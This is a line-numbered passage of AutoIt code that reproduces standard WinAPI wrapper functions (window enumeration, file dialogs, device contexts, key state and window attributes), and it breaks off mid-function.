  3040. If $sclass = "" Then $sclass = _winapi_getclassname($hwnd)
  3041. $__gawinlist_winapi[0][0] += 1
  3042. Local $icount = $__gawinlist_winapi[0][0]
  3043. If $icount >= $__gawinlist_winapi[0][1] Then
  3044. ReDim $__gawinlist_winapi[$icount + 64][2]
  3045. $__gawinlist_winapi[0][1] += 64
  3046. EndIf
  3047. $__gawinlist_winapi[$icount][0] = $hwnd
  3048. $__gawinlist_winapi[$icount][1] = $sclass
  3049. EndFunc
  3050.  
  3051. Func __winapi_enumwindowschild($hwnd, $fvisible = True)
  3052. $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_child)
  3053. While $hwnd <> 0
  3054. If (NOT $fvisible) OR _winapi_iswindowvisible($hwnd) Then
  3055. __winapi_enumwindowschild($hwnd, $fvisible)
  3056. __winapi_enumwindowsadd($hwnd)
  3057. EndIf
  3058. $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  3059. WEnd
  3060. EndFunc
  3061.  
  3062. Func __winapi_enumwindowsinit()
  3063. ReDim $__gawinlist_winapi[64][2]
  3064. $__gawinlist_winapi[0][0] = 0
  3065. $__gawinlist_winapi[0][1] = 64
  3066. EndFunc
  3067.  
  3068. Func _winapi_enumwindowspopup()
  3069. __winapi_enumwindowsinit()
  3070. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  3071. Local $sclass
  3072. While $hwnd <> 0
  3073. If _winapi_iswindowvisible($hwnd) Then
  3074. $sclass = _winapi_getclassname($hwnd)
  3075. If $sclass = "#32768" Then
  3076. __winapi_enumwindowsadd($hwnd)
  3077. ElseIf $sclass = "ToolbarWindow32" Then
  3078. __winapi_enumwindowsadd($hwnd)
  3079. ElseIf $sclass = "ToolTips_Class32" Then
  3080. __winapi_enumwindowsadd($hwnd)
  3081. ElseIf $sclass = "BaseBar" Then
  3082. __winapi_enumwindowschild($hwnd)
  3083. EndIf
  3084. EndIf
  3085. $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  3086. WEnd
  3087. Return $__gawinlist_winapi
  3088. EndFunc
  3089.  
  3090. Func _winapi_enumwindowstop()
  3091. __winapi_enumwindowsinit()
  3092. Local $hwnd = _winapi_getwindow(_winapi_getdesktopwindow(), $__winapiconstant_gw_child)
  3093. While $hwnd <> 0
  3094. If _winapi_iswindowvisible($hwnd) Then __winapi_enumwindowsadd($hwnd)
  3095. $hwnd = _winapi_getwindow($hwnd, $__winapiconstant_gw_hwndnext)
  3096. WEnd
  3097. Return $__gawinlist_winapi
  3098. EndFunc
  3099.  
  3100. Func _winapi_expandenvironmentstrings($sstring)
  3101. Local $aresult = DllCall("kernel32.dll", "dword", "ExpandEnvironmentStringsW", "wstr", $sstring, "wstr", "", "dword", 4096)
  3102. If @error Then Return SetError(@error, @extended, "")
  3103. Return $aresult[2]
  3104. EndFunc
  3105.  
  3106. Func _winapi_extracticonex($sfile, $iindex, $plarge, $psmall, $iicons)
  3107. Local $aresult = DllCall("shell32.dll", "uint", "ExtractIconExW", "wstr", $sfile, "int", $iindex, "struct*", $plarge, "struct*", $psmall, "uint", $iicons)
  3108. If @error Then Return SetError(@error, @extended, 0)
  3109. Return $aresult[0]
  3110. EndFunc
  3111.  
  3112. Func _winapi_fatalappexit($smessage)
  3113. DllCall("kernel32.dll", "none", "FatalAppExitW", "uint", 0, "wstr", $smessage)
  3114. If @error Then Return SetError(@error, @extended)
  3115. EndFunc
  3116.  
  3117. Func _winapi_fillrect($hdc, $ptrrect, $hbrush)
  3118. Local $aresult
  3119. If IsPtr($hbrush) Then
  3120. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "handle", $hbrush)
  3121. Else
  3122. $aresult = DllCall("user32.dll", "int", "FillRect", "handle", $hdc, "struct*", $ptrrect, "dword_ptr", $hbrush)
  3123. EndIf
  3124. If @error Then Return SetError(@error, @extended, False)
  3125. Return $aresult[0]
  3126. EndFunc
  3127.  
  3128. Func _winapi_findexecutable($sfilename, $sdirectory = "")
  3129. Local $aresult = DllCall("shell32.dll", "INT", "FindExecutableW", "wstr", $sfilename, "wstr", $sdirectory, "wstr", "")
  3130. If @error Then Return SetError(@error, @extended, 0)
  3131. Return SetExtended($aresult[0], $aresult[3])
  3132. EndFunc
  3133.  
  3134. Func _winapi_findwindow($sclassname, $swindowname)
  3135. Local $aresult = DllCall("user32.dll", "hwnd", "FindWindowW", "wstr", $sclassname, "wstr", $swindowname)
  3136. If @error Then Return SetError(@error, @extended, 0)
  3137. Return $aresult[0]
  3138. EndFunc
  3139.  
  3140. Func _winapi_flashwindow($hwnd, $finvert = True)
  3141. Local $aresult = DllCall("user32.dll", "bool", "FlashWindow", "hwnd", $hwnd, "bool", $finvert)
  3142. If @error Then Return SetError(@error, @extended, False)
  3143. Return $aresult[0]
  3144. EndFunc
  3145.  
  3146. Func _winapi_flashwindowex($hwnd, $iflags = 3, $icount = 3, $itimeout = 0)
  3147. Local $tflash = DllStructCreate($tagflashwinfo)
  3148. Local $iflash = DllStructGetSize($tflash)
  3149. Local $imode = 0
  3150. If BitAND($iflags, 1) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_caption)
  3151. If BitAND($iflags, 2) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_tray)
  3152. If BitAND($iflags, 4) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timer)
  3153. If BitAND($iflags, 8) <> 0 Then $imode = BitOR($imode, $__winapiconstant_flashw_timernofg)
  3154. DllStructSetData($tflash, "Size", $iflash)
  3155. DllStructSetData($tflash, "hWnd", $hwnd)
  3156. DllStructSetData($tflash, "Flags", $imode)
  3157. DllStructSetData($tflash, "Count", $icount)
  3158. DllStructSetData($tflash, "Timeout", $itimeout)
  3159. Local $aresult = DllCall("user32.dll", "bool", "FlashWindowEx", "struct*", $tflash)
  3160. If @error Then Return SetError(@error, @extended, False)
  3161. Return $aresult[0]
  3162. EndFunc
  3163.  
  3164. Func _winapi_floattoint($nfloat)
  3165. Local $tfloat = DllStructCreate("float")
  3166. Local $tint = DllStructCreate("int", DllStructGetPtr($tfloat))
  3167. DllStructSetData($tfloat, 1, $nfloat)
  3168. Return DllStructGetData($tint, 1)
  3169. EndFunc
  3170.  
  3171. Func _winapi_flushfilebuffers($hfile)
  3172. Local $aresult = DllCall("kernel32.dll", "bool", "FlushFileBuffers", "handle", $hfile)
  3173. If @error Then Return SetError(@error, @extended, False)
  3174. Return $aresult[0]
  3175. EndFunc
  3176.  
  3177. Func _winapi_formatmessage($iflags, $psource, $imessageid, $ilanguageid, ByRef $pbuffer, $isize, $varguments)
  3178. Local $sbuffertype = "struct*"
  3179. If IsString($pbuffer) Then $sbuffertype = "wstr"
  3180. Local $aresult = DllCall("Kernel32.dll", "dword", "FormatMessageW", "dword", $iflags, "ptr", $psource, "dword", $imessageid, "dword", $ilanguageid, $sbuffertype, $pbuffer, "dword", $isize, "ptr", $varguments)
  3181. If @error Then Return SetError(@error, @extended, 0)
  3182. If $sbuffertype = "wstr" Then $pbuffer = $aresult[5]
  3183. Return $aresult[0]
  3184. EndFunc
  3185.  
  3186. Func _winapi_framerect($hdc, $ptrrect, $hbrush)
  3187. Local $aresult = DllCall("user32.dll", "int", "FrameRect", "handle", $hdc, "ptr", $ptrrect, "handle", $hbrush)
  3188. If @error Then Return SetError(@error, @extended, False)
  3189. Return $aresult[0]
  3190. EndFunc
  3191.  
  3192. Func _winapi_freelibrary($hmodule)
  3193. Local $aresult = DllCall("kernel32.dll", "bool", "FreeLibrary", "handle", $hmodule)
  3194. If @error Then Return SetError(@error, @extended, False)
  3195. Return $aresult[0]
  3196. EndFunc
  3197.  
  3198. Func _winapi_getancestor($hwnd, $iflags = 1)
  3199. Local $aresult = DllCall("user32.dll", "hwnd", "GetAncestor", "hwnd", $hwnd, "uint", $iflags)
  3200. If @error Then Return SetError(@error, @extended, 0)
  3201. Return $aresult[0]
  3202. EndFunc
  3203.  
  3204. Func _winapi_getasynckeystate($ikey)
  3205. Local $aresult = DllCall("user32.dll", "short", "GetAsyncKeyState", "int", $ikey)
  3206. If @error Then Return SetError(@error, @extended, 0)
  3207. Return $aresult[0]
  3208. EndFunc
  3209.  
  3210. Func _winapi_getbkmode($hdc)
  3211. Local $aresult = DllCall("gdi32.dll", "int", "GetBkMode", "handle", $hdc)
  3212. If @error Then Return SetError(@error, @extended, 0)
  3213. Return $aresult[0]
  3214. EndFunc
  3215.  
  3216. Func _winapi_getclassname($hwnd)
  3217. If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
  3218. Local $aresult = DllCall("user32.dll", "int", "GetClassNameW", "hwnd", $hwnd, "wstr", "", "int", 4096)
  3219. If @error Then Return SetError(@error, @extended, False)
  3220. Return SetExtended($aresult[0], $aresult[2])
  3221. EndFunc
  3222.  
  3223. Func _winapi_getclientheight($hwnd)
  3224. Local $trect = _winapi_getclientrect($hwnd)
  3225. If @error Then Return SetError(@error, @extended, 0)
  3226. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  3227. EndFunc
  3228.  
  3229. Func _winapi_getclientwidth($hwnd)
  3230. Local $trect = _winapi_getclientrect($hwnd)
  3231. If @error Then Return SetError(@error, @extended, 0)
  3232. Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  3233. EndFunc
  3234.  
  3235. Func _winapi_getclientrect($hwnd)
  3236. Local $trect = DllStructCreate($tagrect)
  3237. DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  3238. If @error Then Return SetError(@error, @extended, 0)
  3239. Return $trect
  3240. EndFunc
  3241.  
  3242. Func _winapi_getcurrentprocess()
  3243. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
  3244. If @error Then Return SetError(@error, @extended, 0)
  3245. Return $aresult[0]
  3246. EndFunc
  3247.  
  3248. Func _winapi_getcurrentprocessid()
  3249. Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
  3250. If @error Then Return SetError(@error, @extended, 0)
  3251. Return $aresult[0]
  3252. EndFunc
  3253.  
  3254. Func _winapi_getcurrentthread()
  3255. Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
  3256. If @error Then Return SetError(@error, @extended, 0)
  3257. Return $aresult[0]
  3258. EndFunc
  3259.  
  3260. Func _winapi_getcurrentthreadid()
  3261. Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
  3262. If @error Then Return SetError(@error, @extended, 0)
  3263. Return $aresult[0]
  3264. EndFunc
  3265.  
  3266. Func _winapi_getcursorinfo()
  3267. Local $tcursor = DllStructCreate($tagcursorinfo)
  3268. Local $icursor = DllStructGetSize($tcursor)
  3269. DllStructSetData($tcursor, "Size", $icursor)
  3270. DllCall("user32.dll", "bool", "GetCursorInfo", "struct*", $tcursor)
  3271. If @error Then Return SetError(@error, @extended, 0)
  3272. Local $acursor[5]
  3273. $acursor[0] = True
  3274. $acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
  3275. $acursor[2] = DllStructGetData($tcursor, "hCursor")
  3276. $acursor[3] = DllStructGetData($tcursor, "X")
  3277. $acursor[4] = DllStructGetData($tcursor, "Y")
  3278. Return $acursor
  3279. EndFunc
  3280.  
  3281. Func _winapi_getdc($hwnd)
  3282. Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  3283. If @error Then Return SetError(@error, @extended, 0)
  3284. Return $aresult[0]
  3285. EndFunc
  3286.  
  3287. Func _winapi_getdesktopwindow()
  3288. Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
  3289. If @error Then Return SetError(@error, @extended, 0)
  3290. Return $aresult[0]
  3291. EndFunc
  3292.  
  3293. Func _winapi_getdevicecaps($hdc, $iindex)
  3294. Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hdc, "int", $iindex)
  3295. If @error Then Return SetError(@error, @extended, 0)
  3296. Return $aresult[0]
  3297. EndFunc
  3298.  
  3299. Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $iusage)
  3300. Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbi, "uint", $iusage)
  3301. If @error Then Return SetError(@error, @extended, False)
  3302. Return $aresult[0]
  3303. EndFunc
  3304.  
  3305. Func _winapi_getdlgctrlid($hwnd)
  3306. Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $hwnd)
  3307. If @error Then Return SetError(@error, @extended, 0)
  3308. Return $aresult[0]
  3309. EndFunc
  3310.  
  3311. Func _winapi_getdlgitem($hwnd, $iitemid)
  3312. Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hwnd, "int", $iitemid)
  3313. If @error Then Return SetError(@error, @extended, 0)
  3314. Return $aresult[0]
  3315. EndFunc
  3316.  
  3317. Func _winapi_getfocus()
  3318. Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
  3319. If @error Then Return SetError(@error, @extended, 0)
  3320. Return $aresult[0]
  3321. EndFunc
  3322.  
  3323. Func _winapi_getforegroundwindow()
  3324. Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")
  3325. If @error Then Return SetError(@error, @extended, 0)
  3326. Return $aresult[0]
  3327. EndFunc
  3328.  
  3329. Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
  3330. If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
  3331. Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "handle", $hprocess, "dword", $iflag)
  3332. If @error Then Return SetError(@error, @extended, 0)
  3333. Return $aresult[0]
  3334. EndFunc
  3335.  
  3336. Func _winapi_geticoninfo($hicon)
  3337. Local $tinfo = DllStructCreate($tagiconinfo)
  3338. DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "struct*", $tinfo)
  3339. If @error Then Return SetError(@error, @extended, 0)
  3340. Local $aicon[6]
  3341. $aicon[0] = True
  3342. $aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
  3343. $aicon[2] = DllStructGetData($tinfo, "XHotSpot")
  3344. $aicon[3] = DllStructGetData($tinfo, "YHotSpot")
  3345. $aicon[4] = DllStructGetData($tinfo, "hMask")
  3346. $aicon[5] = DllStructGetData($tinfo, "hColor")
  3347. Return $aicon
  3348. EndFunc
  3349.  
  3350. Func _winapi_getfilesizeex($hfile)
  3351. Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handle", $hfile, "int64*", 0)
  3352. If @error Then Return SetError(@error, @extended, 0)
  3353. Return $aresult[2]
  3354. EndFunc
  3355.  
  3356. Func _winapi_getlasterrormessage()
  3357. Local $tbufferptr = DllStructCreate("ptr")
  3358. Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_message_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_getlasterror(), 0, $tbufferptr, 0, 0)
  3359. If @error Then Return SetError(@error, 0, "")
  3360. Local $stext = ""
  3361. Local $pbuffer = DllStructGetData($tbufferptr, 1)
  3362. If $pbuffer Then
  3363. If $ncount > 0 Then
  3364. Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1) & "]", $pbuffer)
  3365. $stext = DllStructGetData($tbuffer, 1)
  3366. EndIf
  3367. _winapi_localfree($pbuffer)
  3368. EndIf
  3369. Return $stext
  3370. EndFunc
  3371.  
  3372. Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $transparency, $ascolorref = False)
  3373. $i_transcolor = -1
  3374. $transparency = -1
  3375. Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttributes", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0)
  3376. If @error Then Return SetError(@error, @extended, 0)
  3377. If NOT $ascolorref Then
  3378. $aresult[2] = Int(BinaryMid($aresult[2], 3, 1) & BinaryMid($aresult[2], 2, 1) & BinaryMid($aresult[2], 1, 1))
  3379. EndIf
  3380. $i_transcolor = $aresult[2]
  3381. $transparency = $aresult[3]
  3382. Return $aresult[4]
  3383. EndFunc
  3384.  
  3385. Func _winapi_getmodulehandle($smodulename)
  3386. Local $smodulenametype = "wstr"
  3387. If $smodulename = "" Then
  3388. $smodulename = 0
  3389. $smodulenametype = "ptr"
  3390. EndIf
  3391. Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $smodulenametype, $smodulename)
  3392. If @error Then Return SetError(@error, @extended, 0)
  3393. Return $aresult[0]
  3394. EndFunc
  3395.  
  3396. Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
  3397. Local $imode = Opt("MouseCoordMode", 1)
  3398. Local $apos = MouseGetPos()
  3399. Opt("MouseCoordMode", $imode)
  3400. Local $tpoint = DllStructCreate($tagpoint)
  3401. DllStructSetData($tpoint, "X", $apos[0])
  3402. DllStructSetData($tpoint, "Y", $apos[1])
  3403. If $ftoclient Then
  3404. _winapi_screentoclient($hwnd, $tpoint)
  3405. If @error Then Return SetError(@error, @extended, 0)
  3406. EndIf
  3407. Return $tpoint
  3408. EndFunc
  3409.  
  3410. Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
  3411. Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  3412. If @error Then Return SetError(@error, @extended, 0)
  3413. Return DllStructGetData($tpoint, "X")
  3414. EndFunc
  3415.  
  3416. Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
  3417. Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
  3418. If @error Then Return SetError(@error, @extended, 0)
  3419. Return DllStructGetData($tpoint, "Y")
  3420. EndFunc
  3421.  
  3422. Func _winapi_getobject($hobject, $isize, $pobject)
  3423. Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
  3424. If @error Then Return SetError(@error, @extended, 0)
  3425. Return $aresult[0]
  3426. EndFunc
  3427.  
  3428. Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  3429. Local $ipathlen = 4096
  3430. Local $inulls = 0
  3431. Local $tofn = DllStructCreate($tagopenfilename)
  3432. Local $afiles[1] = [0]
  3433. Local $iflag = $iflags
  3434. Local $asflines = StringSplit($sfilter, "|")
  3435. Local $asfilter[$asflines[0] * 2 + 1]
  3436. Local $istart, $ifinal, $stfilter
  3437. $asfilter[0] = $asflines[0] * 2
  3438. For $i = 1 To $asflines[0]
  3439. $istart = StringInStr($asflines[$i], "(", 0, 1)
  3440. $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  3441. $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  3442. $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  3443. $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  3444. Next
  3445. Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  3446. Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  3447. Local $tfilter = DllStructCreate($stfilter & "wchar")
  3448. Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  3449. Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  3450. For $i = 1 To $asfilter[0]
  3451. DllStructSetData($tfilter, $i, $asfilter[$i])
  3452. Next
  3453. DllStructSetData($ttitle, "Title", $stitle)
  3454. DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  3455. DllStructSetData($tpath, "Path", $sdefaultfile)
  3456. DllStructSetData($textn, "Extension", $sdefaultext)
  3457. DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  3458. DllStructSetData($tofn, "hwndOwner", $hwndowner)
  3459. DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  3460. DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  3461. DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  3462. DllStructSetData($tofn, "nMaxFile", $ipathlen)
  3463. DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  3464. DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  3465. DllStructSetData($tofn, "Flags", $iflag)
  3466. DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  3467. DllStructSetData($tofn, "FlagsEx", $iflagsex)
  3468. DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
  3469. If @error Then Return SetError(@error, @extended, $afiles)
  3470. If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
  3471. For $x = 1 To $ipathlen
  3472. If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
  3473. DllStructSetData($tpath, "Path", "|", $x)
  3474. $inulls += 1
  3475. Else
  3476. $inulls = 0
  3477. EndIf
  3478. If $inulls = 2 Then ExitLoop
  3479. Next
  3480. DllStructSetData($tpath, "Path", Chr(0), $x - 1)
  3481. $afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
  3482. If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  3483. Return StringSplit(DllStructGetData($tpath, "Path"), "|")
  3484. ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
  3485. $afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
  3486. If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  3487. Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
  3488. Else
  3489. Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  3490. EndIf
  3491. EndFunc
  3492.  
  3493. Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = False)
  3494. Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
  3495. If @error Then Return SetError(@error, @extended, False)
  3496. $ibytes = $aresult[3]
  3497. Return $aresult[0]
  3498. EndFunc
  3499.  
  3500. Func _winapi_getparent($hwnd)
  3501. Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
  3502. If @error Then Return SetError(@error, @extended, 0)
  3503. Return $aresult[0]
  3504. EndFunc
  3505.  
  3506. Func _winapi_getprocessaffinitymask($hprocess)
  3507. Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
  3508. If @error Then Return SetError(@error, @extended, 0)
  3509. Local $amask[3]
  3510. $amask[0] = True
  3511. $amask[1] = $aresult[2]
  3512. $amask[2] = $aresult[3]
  3513. Return $amask
  3514. EndFunc
  3515.  
  3516. Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
  3517. Local $ipathlen = 4096
  3518. Local $tofn = DllStructCreate($tagopenfilename)
  3519. Local $afiles[1] = [0]
  3520. Local $iflag = $iflags
  3521. Local $asflines = StringSplit($sfilter, "|")
  3522. Local $asfilter[$asflines[0] * 2 + 1]
  3523. Local $istart, $ifinal, $stfilter
  3524. $asfilter[0] = $asflines[0] * 2
  3525. For $i = 1 To $asflines[0]
  3526. $istart = StringInStr($asflines[$i], "(", 0, 1)
  3527. $ifinal = StringInStr($asflines[$i], ")", 0, -1)
  3528. $asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), 3)
  3529. $asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
  3530. $stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
  3531. Next
  3532. Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
  3533. Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
  3534. Local $tfilter = DllStructCreate($stfilter & "wchar")
  3535. Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
  3536. Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
  3537. For $i = 1 To $asfilter[0]
  3538. DllStructSetData($tfilter, $i, $asfilter[$i])
  3539. Next
  3540. DllStructSetData($ttitle, "Title", $stitle)
  3541. DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
  3542. DllStructSetData($tpath, "Path", $sdefaultfile)
  3543. DllStructSetData($textn, "Extension", $sdefaultext)
  3544. DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
  3545. DllStructSetData($tofn, "hwndOwner", $hwndowner)
  3546. DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
  3547. DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
  3548. DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
  3549. DllStructSetData($tofn, "nMaxFile", $ipathlen)
  3550. DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
  3551. DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
  3552. DllStructSetData($tofn, "Flags", $iflag)
  3553. DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
  3554. DllStructSetData($tofn, "FlagsEx", $iflagsex)
  3555. DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
  3556. If @error Then Return SetError(@error, @extended, $afiles)
  3557. Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
  3558. EndFunc
  3559.  
  3560. Func _winapi_getstockobject($iobject)
  3561. Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
  3562. If @error Then Return SetError(@error, @extended, 0)
  3563. Return $aresult[0]
  3564. EndFunc
  3565.  
  3566. Func _winapi_getstdhandle($istdhandle)
  3567. If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
  3568. Local Const $ahandle[3] = [-10, -11, -12]
  3569. Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
  3570. If @error Then Return SetError(@error, @extended, -1)
  3571. Return $aresult[0]
  3572. EndFunc
  3573.  
  3574. Func _winapi_getsyscolor($iindex)
  3575. Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $iindex)
  3576. If @error Then Return SetError(@error, @extended, 0)
  3577. Return $aresult[0]
  3578. EndFunc
  3579.  
  3580. Func _winapi_getsyscolorbrush($iindex)
  3581. Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
  3582. If @error Then Return SetError(@error, @extended, 0)
  3583. Return $aresult[0]
  3584. EndFunc
  3585.  
  3586. Func _winapi_getsystemmetrics($iindex)
  3587. Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
  3588. If @error Then Return SetError(@error, @extended, 0)
  3589. Return $aresult[0]
  3590. EndFunc
  3591.  
  3592. Func _winapi_gettextextentpoint32($hdc, $stext)
  3593. Local $tsize = DllStructCreate($tagsize)
  3594. Local $isize = StringLen($stext)
  3595. DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
  3596. If @error Then Return SetError(@error, @extended, 0)
  3597. Return $tsize
  3598. EndFunc
  3599.  
  3600. Func _winapi_gettextmetrics($hdc)
  3601. Local $ttextmetric = DllStructCreate($tagtextmetric)
  3602. Local $ret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
  3603. If @error Then Return SetError(@error, @extended, 0)
  3604. If NOT $ret[0] Then Return SetError(-1, 0, 0)
  3605. Return $ttextmetric
  3606. EndFunc
  3607.  
  3608. Func _winapi_getwindow($hwnd, $icmd)
  3609. Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
  3610. If @error Then Return SetError(@error, @extended, 0)
  3611. Return $aresult[0]
  3612. EndFunc
  3613.  
  3614. Func _winapi_getwindowdc($hwnd)
  3615. Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
  3616. If @error Then Return SetError(@error, @extended, 0)
  3617. Return $aresult[0]
  3618. EndFunc
  3619.  
  3620. Func _winapi_getwindowheight($hwnd)
  3621. Local $trect = _winapi_getwindowrect($hwnd)
  3622. If @error Then Return SetError(@error, @extended, 0)
  3623. Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
  3624. EndFunc
  3625.  
  3626. Func _winapi_getwindowlong($hwnd, $iindex)
  3627. Local $sfuncname = "GetWindowLongW"
  3628. If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
  3629. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
